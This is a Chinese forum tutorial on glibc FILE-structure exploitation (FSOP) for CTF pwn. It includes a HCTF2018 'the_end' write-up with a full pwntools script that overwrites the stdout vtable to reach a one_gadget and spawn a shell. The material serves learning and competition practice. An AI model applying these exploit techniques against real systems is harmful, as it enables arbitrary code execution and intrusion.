查看原文
其他

新人PWN入坑总结

PIG-007 看雪学苑 2022-07-01

本文为看雪论坛优秀文章
看雪论坛作者ID:PIG-007


FSOP0xd


1


FILE前置知识


一、_IO_FILE_plus:

1、结构定义:在libio.h中找不到它的结构定义,但是wiki上说是如下的:
#注释头
struct _IO_FILE_plus{ _IO_FILE file; IO_jump_t *vtable;}

虽然网上相关定义的里面包含的是_IO_FILE,但是实际上在内存中_IO_FILE却会被完善成_IO_FILE_complete:


(1)两条黄线之间的数据即为struct _IO_FILE_complete,包含struct _IO_FILE

(2)第一条黄线至蓝线的即为struct _IO_FILE

(3)最下面的就是struct _IO_jump_t

2、符号内容:
#注释头
_IO_2_1_stderr__IO_2_1_stdout__IO_2_1_stdin_

以上三个符号就是程序被加载之后的_IO_FILE_plus这个结构体生成的结构体指针。
 
二、_IO_FILE和_IO_FILE_complete(libio.h中)

1、_IO_FILE结构定义:
#注释头
struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */#define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno;#if 0 int _blksize;#else int _flags2;#endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */#define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock;#ifdef _IO_USE_OLD_IO_FILE};

2、_IO_FILE_complete结构定义:
#注释头
struct _IO_FILE_complete{ struct _IO_FILE _file;#endif#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001 _IO_off64_t _offset;# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T /* Wide character stream stuff. */ struct _IO_codecvt *_codecvt; struct _IO_wide_data *_wide_data; struct _IO_FILE *_freeres_list; void *_freeres_buf;# else void *__pad1; void *__pad2; void *__pad3; void *__pad4;# endif size_t __pad5; int _mode; /* Make sure we don't get into trouble again. */ char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];#endif};

3、实际内存情况:

由于程序中基本都会自动完善,所以只能查看到_IO_FILE_complete的实际内存结构。


4、符号内容:
#注释头
_IO_stderr__IO_stdout__IO_stdin_

这三个符号就是struct _IO_FILE的结构体指针,但是实际会被完善为_IO_FILE_complete。

 
三、IO_jump_t结构:

1、结构定义:
#注释头
struct _IO_jump_t{ JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue);#if 0 get_column; set_column;#endif};

2、实际内存情况:


3、符号内容:
_IO_file_jumps这个符号是全局变量符号,可以直接查看,能算出固定偏移。
vtable这个符号不是之前介绍的几个符号,不是全局的,里面保存着IO_file_jumps的地址,只能通过前面几个全局符号来对应偏移搜索,没办法在gdb中直接查看。

stdin之类的三个输入输出流如果想调用_IO_file_jumps里面的函数,只能通过vtable来调用,所以如果我们可以伪造一个IO_jump_t结构体,使得vtable指向这个伪造的结构体,根据偏移就可以调用里面伪造的函数指针。

比如修改stdin结构中的vtable指向伪造的IO_jump_t结构体,并且将伪造的IO_jump_t结构体的__overflow劫持为system函数地址,那么使用stdin调用__overflow时就相当于调用system函数。
 
四、_IO_FILE_plus中各个结构的成员含义:

1、_IO_FILE_:这个结构体生成的指针就是我们实际上编程时用fopen返回值指针。

(1)int _flags:给vtable中的各类函数指针传入的第一个参数。(之后会讲到)

(2)
#注释头
char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end;

这一系列就是对应的stdin,stdout,stderr中读取地址,写入地址,buf地址。可以通过修改stdin结构体中的buf_base和buf_end,改为某个bss段地址,来使得scanf之类的读取函数读到bss段上。其它用法类似,ctfwiki详解。

(3)
#注释头
char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers;

这段就不知道干啥的了,应该需要具体调试才知道具体用法,网上也搜不到。

(4)struct _IO_FILE *_chain:

保存的是一个_IO_FILE指针,实际应该是_IO_FILE_plus指针,指向下一个_IO_FILE_plus结构体。

有一个全局变量_IO_list_all,里面保存_IO_2_1stderr的地址,且距离_IO_2_1stderr偏移不远:


这其实是一个链表,由_IO_list_all进行访问维护,形式如下:
#注释头
*_IO_list_all->_IO_2_1stderr__IO_2_1stderr_.chain->_IO_2_1stderr__IO_2_1stderr_.chain->_IO_2_1stdout__IO_2_1stdout_.chain->_IO_2_1stdin__IO_2_1stdin_.chain=0x0

程序会通过_IO_list_all来找到这三个输入输出流。

(5)
#注释头
int _fileno; int _blksize; int _flags2; _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; _IO_lock_t *_lock;

(6)
#注释头
_IO_off64_t _offset; struct _IO_codecvt *_codecvt; struct _IO_wide_data *_wide_data; struct _IO_FILE *_freeres_list; void *_freeres_buf; void *__pad1; void *__pad2; void *__pad3; void *__pad4; size_t __pad5; int _mode; char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];

这段在_IO_FILE_complete中定义的也不知道干啥用。

2、IO_jump_t结构,也就是vtable中的,里面都是一些函数指针,程序调用对应的输入输出流就会调用对应的vtable中的函数指针。这边挑一些常用的函数:

(1)_IO_xsgetn_t:实际是__GI_IO_file_xsgetn,会被fread函数调用。

(2)_IO_xsputn_t:实际是__IO_new_file_xsputn,会被fwrite函数调用,还有printf/puts等一些输出流函数。

(3)fopen和fclose会将三大输入输出流从_IO_list_all,chain域,链表脱链。

fopen情况下_IO_FILE_plus结构体会位于堆内存中。
  
五、FSOP的触发与伪造:File Stream Oriented Programming

1、伪造:

劫持_IO_list_all的值,指向伪造的_IO_FILE_结构体stderr。

2、触发:

借助_IO_flush_all_lockp触发,这个函数会刷新每个_IO_FILE结构体,同样调用里面vtable中的_IO_overflow。那么如果_IO_overflow为system,并将flag=/bin/sh,那么就可以getshell了。

而_IO_flush_all_lockp这个函数不需要手动触发,以下情况程序会自己触发:

(1)当 libc 执行 abort 流程时:

(2)当执行 exit 函数时:

exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp

(3)当执行流从 main 函数返回时

那么一旦我们伪造好了,main函数返回,或者exit,或者abort都会getshell。

3、需要绕过的绕过检查:
#注释头
fake_IO_FILE_._mode <= 0fake_IO_FILE_._IO_write_ptr > fake_IO_FILE._IO_write_base
 
六、其它的劫持:

libc2.24及以上的_IO_file_jumps结构体不可修改,只能进行伪造,libc2.23及以下可以直接修改_IO_file_jumps的函数指针。

1、修改vatble指针,伪造_IO_file_jumps结构体:(HCTF2018_the_end)

exit函数会调用_IO_file_jumps中的__setbuf函数,可以伪造_IO_file_jumps结构体,将vtable指向伪造的结构体,并将伪造的_IO_file_jumps结构体中的__setbuf函数改成one_gadget。

这个方法最后还需要再:io.sendline("exec /bin/sh 1>&0")才行。

2、花式劫持:https://blog.csdn.net/Mira_Hu/article/details/103736917
  
七、libc2.24下的利用:

由于加入了检查,不能再伪造vtable了。

1、修改_IO_2_1_stdin_结构体中的_IO_buf_base和_IO_buf_end为fake_buf_addr_base,fake_buf_addr_end,这样再输入就会读入到fake_buf_addr_base中。

2、劫持vtable的结构体指针类型,从_IO_file_jumps,劫持成_IO_str_jumps,这样程序就不会对vtable进行检查,而_IO_file_jumps结构体与_IO_file_jumps几乎一致。

有些绕过条件ctfwiki上说得更详细。

 做个总结,因为高版本Libc关于IO_FILE的检查越来越多,所以其实现在的FSOP大多就是用来泄露地址的。


2


HCTF2018_the_end


1、常规checksec,除了canary之外保护全开。IDA打开找漏洞,没什么漏洞,就是程序会泄露出sleep的地址,然后让我们在任意地方写入5个字节,并且给了libc文件,那么就可以算出libc基地址,版本为2.23。

printf("here is a gift %p, good luck ;)\n", &sleep);

2、程序最后调用exit(1337),两种方法:

(1)exit会无条件通过_IO_2_1_stdout_结构体调用vtable虚表中的_setbuf函数。

(2)exit会通过_IO_2_1_stdout_结构体调用vtable虚表中的_overflow函数,但需要满足以下条件:
#注释头
_IO_FILE_plus._mode <= 0_IO_FILE_plus._IO_write_ptr > _IO_FILE_plus._IO_write_base

所以我们伪造的_IO_FILE_plus结构体就需要满足上述条件。

(3)exit会调用_rtld_global结构体中的_dl_rtld_lock_recursive函数,不用满足条件。

3、三种方法攻击思路:

(1)由于会调用_setbuf函数,vtable位于libc数据段上不可写部分,无法直接修改vtable对应的_IO_file_jumps中的函数指针。那么可以伪造_IO_2_1_stdout_中的vtable指针,利用2字节修改vtable指针的倒数两个字节,使其指向一个可读可写内存,形成一个fake_IO_file_jumps,然后在该内存对应_setbuf函数偏移处伪造one_gadget地址。
#注释头
from pwn import *libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")p = process('./the_end')
vtable_offset = 0xd8_setbuf_offset = 0x58fake_vtable_offset = 0x3c5588#这个需要自己调试找,并保证偏移_setbuf_offset处修改之后程序不会直接崩溃
sleep_addr = p.recvuntil(', good luck',drop=True).split(' ')[-1] libc_base = long(sleep_addr,16) - libc.symbols['sleep']
one_gadget = libc_base + 0xf02b0_IO_2_1_stdout_vtable_addr = libc_base + libc.sym['_IO_2_1_stdout_'] + vtable_offset
fake_vtable = libc_base + fake_vtable_offsetfake_vtable_setbuf_addr = libc_base + fake_vtable_offset + _setbuf_offset
print 'libc_base: ',hex(libc_base)print 'one_gadget:',hex(one_gadget)
for i in range(2): p.send(p64(_IO_2_1_stdout_vtable_addr+i)) p.send(p64(fake_vtable)[i])
for i in range(3): p.send(p64(fake_vtable_setbuf_addr+i)) p.send(p64(one_gadget)[i])
p.sendline("exec /bin/sh 1>&0")
p.interactive()

(2)_IO_FILE_plus结构体位于libc数据段上可读可写内存处,可以直接修改,但是修改字节数只有5个,按照第一种方法:
#注释头
_IO_FILE_plus._mode <= 0 //该条件自动就会满足_IO_FILE_plus._IO_write_ptr > _IO_FILE_plus._IO_write_base//该条件需要设置1个字节

再利用1个字节修改vtable的倒数第二个字节,伪造vtable指针,然后利用3个字节在该内存对应_setbuf函数偏移处伪造one_gadget地址。

(3)_rtld_global结构体位于libc数据段上可读可写内存处,可以直接修改。那么直接修改_dl_rtld_lock_recursive函数指针指向one_gadget就行了。
 
方法(2)和方法(3)参考:
https://blog.csdn.net/Mira_Hu/article/details/103736917

参考资料:
https://wiki.x10sec.org/pwn/linux/io_file/fake-vtable-exploit-zh/


 


看雪ID:PIG-007

https://bbs.pediy.com/user-home-904686.htm

*本文由看雪论坛 PIG-007 原创,转载请注明来自看雪社区





# 往期推荐

1. 新人PWN堆Heap总结

2. 如何利用栈溢出漏洞

3.OD插件 - 支持chm帮助文档

4. Galgame汉化中的逆向:ArmArm64_ELF中汉化字符串超长修改方法

5. FartExt之优化更深主动调用的FART10

6. V8利用初探 2019 StarCTF oob 复现分析



公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存